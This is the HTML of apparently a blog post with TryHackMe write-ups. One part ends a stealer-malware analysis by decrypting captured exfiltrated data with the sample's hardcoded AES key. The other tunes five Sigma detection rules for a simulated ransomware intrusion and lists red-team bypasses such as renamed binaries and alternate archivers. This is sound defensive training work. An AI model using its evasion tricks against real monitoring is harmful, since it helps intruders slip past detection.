&lt;span class="n"&gt;KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;J4ckp0tH4ck3rKey&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;IV&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Iv_For_Exf1ltr8!&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="n"&gt;raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;666c61672e6a61636b706f740a9bcc341f8374f7d031a5a0ee4663501313b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
                     &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;15466b184e33a3f295efd0cd1b4f5c64b48dd831bbca7ec4423e3782f8fe5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;nl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;fname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;enc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;nl&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;nl&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

&lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IV&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enc&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;b'THM{REDACTED}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Notes / Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The malware's "encryption" only protects the data in transit against a passive observer who
doesn't have the sample - once the binary itself is captured (as it was here, served in plaintext
HTTP), the hardcoded key/IV completely defeats the scheme. Hardcoded symmetric keys inside a
distributable binary are never actually secret.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;socket.gethostname() != 'b0x'&lt;/code&gt; check is a weak anti-analysis / targeting gate (only runs its
payload on a host named &lt;code&gt;b0x&lt;/code&gt;) - trivially bypassed by renaming the analysis VM, or in this case
irrelevant since we're statically reading the bytecode rather than executing it.&lt;/li&gt;
&lt;li&gt;PyInstaller-packed samples are common in commodity stealers because they're easy to build and the
resulting binary looks like a generic stripped ELF at a glance; &lt;code&gt;strings&lt;/code&gt; for
&lt;code&gt;pyi-python-flag&lt;/code&gt;/&lt;code&gt;PyRun_SimpleStringFlags&lt;/code&gt; is a fast way to fingerprint them, and tools like
&lt;code&gt;pyinstxtractor-ng&lt;/code&gt; make recovering the original &lt;code&gt;.pyc&lt;/code&gt; straightforward even without a working
decompiler for the exact bytecode version.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a id="fresh-powder"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  TryHackMe: Fresh Powder - Detection Engineering Writeup
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; TSS CSIRT investigated a ransomware precursor intrusion against Cascadia Ski and Resort Collective, a three-property ski/hospitality group (Snowridge, Alderpeak, Timberline) sharing one IT backbone. The intrusion is attributed to &lt;strong&gt;POWDER WOLF&lt;/strong&gt;, an eCrime cluster known for using stolen remote access credentials against hospitality infrastructure, with tooling overlap against LockBit/Akira affiliate playbooks. The attack ran the full kill chain - initial access through ransomware staging - and was only caught at the staging step, before encryption, via investigation rather than any alert. Five detections were opened as pull requests in a Detection-as-Code (Sigma) repository, one per kill chain phase, each shipped deliberately broken. The task: understand the attack, tune each rule against the real environment, and get all five merged.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pipeline:&lt;/strong&gt; every PR runs Sigma Syntax Check → Converter (&lt;code&gt;sigma convert -t splunk&lt;/code&gt;) → Environment Validation (scored against a real answer key in Splunk) → Automated Red Team Test (adversarial bypass attempts) → peer approval → merge.&lt;/p&gt;




&lt;h2&gt;
  
  
  PR #1 - External RDP Logon From an Untrusted Source Grants Administrative Access
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt; T1133/T1078 · &lt;strong&gt;Flag:&lt;/strong&gt; &lt;em&gt;(not captured in this writeup - merged first)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; the original exclusion filter (&lt;code&gt;IpAddress|startswith: '203.0.113.'&lt;/code&gt;) excluded the &lt;em&gt;attacker's own&lt;/em&gt; source range, not Cascadia's legitimate traffic - an inverted allowlist that would silently ignore the real intrusion.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; rebuilt the exclusion logic from &lt;code&gt;docs/environment-routines.md&lt;/code&gt;'s three real routines - internal admin hops (&lt;code&gt;10.40.0.0/16&lt;/code&gt;, IP-only), the VPN pool (&lt;code&gt;10.90.0.0/16&lt;/code&gt;, IP &lt;strong&gt;and&lt;/strong&gt; one of three named accounts), and SummitDesk MSP maintenance (&lt;code&gt;198.51.100.0/24&lt;/code&gt;, IP &lt;strong&gt;and&lt;/strong&gt; the paired service account). Both the VPN and MSP filters required pairing IP range with account, since the doc explicitly warned the range alone doesn't confirm legitimacy for either.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Team bypass:&lt;/strong&gt; rule only caught LogonType 10 (fresh interactive), missing session resume via LogonType 7 (Unlock) from the same untrusted source. Fixed by adding both logon types to &lt;code&gt;selection&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;EventID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4624&lt;/span&gt;
    &lt;span class="na"&gt;LogonType&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;10'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;filter_internal_hop&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;IpAddress|startswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;10.40.'&lt;/span&gt;
  &lt;span class="na"&gt;filter_vpn_authorized_staff&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;IpAddress|startswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;10.90.'&lt;/span&gt;
    &lt;span class="na"&gt;TargetUserName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;r.doyle'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;k.nakamura'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;p.okonkwo'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;filter_summitdesk_msp&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;IpAddress|startswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;198.51.100.'&lt;/span&gt;
    &lt;span class="na"&gt;TargetUserName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;svc_summitdesk_support'&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;selection and not (filter_internal_hop or filter_vpn_authorized_staff or filter_summitdesk_msp)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  PR #2 - NetScan Enumerates Writable Administrative Shares via a Delete.me Access Test
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt; T1046/T1135 · &lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; the rule checked &lt;code&gt;ShareName|endswith: 'delete.me'&lt;/code&gt;. &lt;code&gt;ShareName&lt;/code&gt; holds the share path itself (e.g. &lt;code&gt;\\DC-CSRC01\C$&lt;/code&gt;); the object accessed within the share is a separate field, &lt;code&gt;RelativeTargetName&lt;/code&gt;. Checking the wrong field meant the rule silently matched nothing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;EventID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5145&lt;/span&gt;
    &lt;span class="na"&gt;RelativeTargetName|endswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;delete.me'&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;selection&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No exclusion filter was needed - nothing in &lt;code&gt;environment-routines.md&lt;/code&gt; legitimately produces this artifact.&lt;/p&gt;




&lt;h2&gt;
  
  
  PR #3 - Remote Access Tool Installed as a Service on Server Infrastructure
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt; T1543.003 · &lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root cause, in layers:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;Image|endswith: '\AnyDesk.exe'&lt;/code&gt; referenced a process-creation field for what is actually a &lt;strong&gt;service install event (EventID 7045)&lt;/strong&gt; - Environment Validation scored 0%.&lt;/li&gt;
&lt;li&gt;No host-tier filter - AnyDesk-as-a-service is legitimate on workstations (&lt;code&gt;SNW-PC*&lt;/code&gt;/&lt;code&gt;ALD-PC*&lt;/code&gt;/&lt;code&gt;TBL-PC*&lt;/code&gt;) per the environment doc, illegitimate on servers.&lt;/li&gt;
&lt;li&gt;Once pointed at the right event, &lt;code&gt;ServiceFileName|endswith: '\AnyDesk.exe'&lt;/code&gt; still scored 0% - ground truth in Splunk showed the real value is &lt;code&gt;...\AnyDesk.exe --service&lt;/code&gt;, which doesn't &lt;em&gt;end with&lt;/em&gt; the exe path because of the trailing flag. Needed &lt;code&gt;contains&lt;/code&gt;, not &lt;code&gt;endswith&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Red Team Test bypassed an AnyDesk-only rule using ScreenConnect and TeamViewer - same technique, different tool.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;EventID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;7045&lt;/span&gt;
    &lt;span class="na"&gt;ServiceFileName|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AnyDesk.exe'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ScreenConnect'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;TeamViewer'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;filter_workstation_class&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;ComputerName|startswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SNW-PC'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ALD-PC'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;TBL-PC'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;selection and not filter_workstation_class&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Lesson:&lt;/strong&gt; don't trust a field name that merely sounds plausible from the incident narrative - verify against raw Splunk ground truth (&lt;code&gt;sourcetype&lt;/code&gt;, actual populated fields) before assuming.&lt;/p&gt;




&lt;h2&gt;
  
  
  PR #4 - 7-Zip Archives Data Directly From a Live Network Share
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt; T1560.001/T1567 · &lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;CommandLine|contains: '-p'&lt;/code&gt; - the real attacker command line never used a &lt;code&gt;-p&lt;/code&gt; flag at all; the actual anomaly is archiving straight out of a live UNC share.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Debugging detour:&lt;/strong&gt; attempts to match a literal double-backslash (&lt;code&gt;'\\'&lt;/code&gt;, &lt;code&gt;'\\\\'&lt;/code&gt;) all converted to the same single-backslash SPL pattern (&lt;code&gt;CommandLine="*\\*"&lt;/code&gt;), which matched almost any Windows path and produced 24 false positives (an unrelated, undocumented recurring "shared backup" job across many hosts). Confirmed by reproducing the pipeline's exact generated SPL directly in Splunk and inspecting the false-positive events. Sidestepped the unreliable escaping by matching a specific, unambiguous host+share substring instead of a generic UNC prefix.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Team bypasses closed:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WinRAR / Rar as alternate archivers&lt;/li&gt;
&lt;li&gt;PowerShell's &lt;code&gt;Compress-Archive&lt;/code&gt; (no external binary)&lt;/li&gt;
&lt;li&gt;7-Zip binary renamed to an innocuous filename - fixed by matching on &lt;code&gt;OriginalFileName&lt;/code&gt; (embedded PE metadata) instead of &lt;code&gt;Image&lt;/code&gt; path&lt;/li&gt;
&lt;li&gt;Generalizing past &lt;code&gt;FS-RESV01&lt;/code&gt; to other server-tier shares (&lt;code&gt;BKP-CSRC01&lt;/code&gt;, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection_archiver_tools&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;OriginalFileName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7z.exe'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7zFM.exe'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7zG.exe'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;WinRAR.exe'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Rar.exe'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;FS-RESV01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;BKP-CSRC01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC02\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC03\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;HV-CSRC01\'&lt;/span&gt;
  &lt;span class="na"&gt;selection_ps_tool&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;Image|endswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\powershell.exe'&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Compress-Archive'&lt;/span&gt;
  &lt;span class="na"&gt;selection_ps_share&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;FS-RESV01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;BKP-CSRC01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC02\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC03\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;HV-CSRC01\'&lt;/span&gt;
  &lt;span class="na"&gt;filter_monthly_export&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;ParentImage|endswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\wscript.exe'&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ReservationsExport_'&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;(selection_archiver_tools or (selection_ps_tool and selection_ps_share)) and not filter_monthly_export&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  PR #5 - Lynx Ransomware Payload Executed With Distinctive Encryption Flags
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt; T1486 · &lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root cause, in layers:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;ParentImage|endswith: '\services.exe'&lt;/code&gt; - the real indicator shows &lt;code&gt;ParentImage: cmd.exe&lt;/code&gt;, not &lt;code&gt;services.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Needed to exclude the legitimate &lt;code&gt;DiskOptimizer.exe&lt;/code&gt; nightly job, which uses the same &lt;code&gt;--dir&lt;/code&gt;/&lt;code&gt;--mode fast&lt;/code&gt; flags.&lt;/li&gt;
&lt;li&gt;First fix anchored &lt;code&gt;selection&lt;/code&gt; on &lt;code&gt;Image|endswith: '\w.exe'&lt;/code&gt; plus the flags, and excluded DiskOptimizer by &lt;strong&gt;install path + OriginalFileName&lt;/strong&gt; together - but Red Team Test bypassed this: a payload renamed to &lt;code&gt;DiskOptimizer.exe&lt;/code&gt; and dropped at the exact legitimate install path never matched &lt;code&gt;selection&lt;/code&gt; in the first place (it doesn't end with &lt;code&gt;\w.exe&lt;/code&gt;), so it skipped the filter stage entirely.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Final fix:&lt;/strong&gt; stopped anchoring &lt;code&gt;selection&lt;/code&gt; on any filename - key purely on the distinctive, attacker-controlled flags, and exclude the legitimate tool using &lt;strong&gt;only&lt;/strong&gt; its embedded &lt;code&gt;OriginalFileName&lt;/code&gt; metadata (harder to spoof than an install path):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains|all&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--dir'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--mode&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;fast'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;filter_diskoptimizer&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;OriginalFileName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DiskOptimizer.exe'&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;selection and not filter_diskoptimizer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Lesson:&lt;/strong&gt; an exclusion filter is only as strong as its least-spoofable field. A path-based exclusion is trivially defeated by an attacker who's already mapped the environment (which POWDER WOLF had, via the NetScan/NetExec sweeps); embedded PE metadata is a meaningfully higher bar.&lt;/p&gt;




&lt;h2&gt;
  
  
  Overall lessons across all five PRs
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Verify fields against raw data, don't trust the incident narrative's plain-English field names.&lt;/strong&gt; Multiple rules failed because a field referenced in &lt;code&gt;selection&lt;/code&gt; (&lt;code&gt;ShareName&lt;/code&gt;, &lt;code&gt;ServiceFileName&lt;/code&gt;+&lt;code&gt;endswith&lt;/code&gt;, &lt;code&gt;Image&lt;/code&gt;+&lt;code&gt;services.exe&lt;/code&gt;) sounded right but wasn't what was actually populated in the real Splunk events.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every exclusion filter needs to be built from &lt;code&gt;environment-routines.md&lt;/code&gt;, not assumed.&lt;/strong&gt; The original PR #1 bug (excluding the attacker's own IP) is the clearest example of building a filter from something that merely looked like a "known" value.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Automated Red Team Test consistently punished over-fitting to one sample artifact&lt;/strong&gt; - a single tool name, a single file server, a single filename, a single logon type. Every rule needed to generalize from "this one indicator" to "the underlying technique" to pass.&lt;/li&gt;
&lt;li&gt;
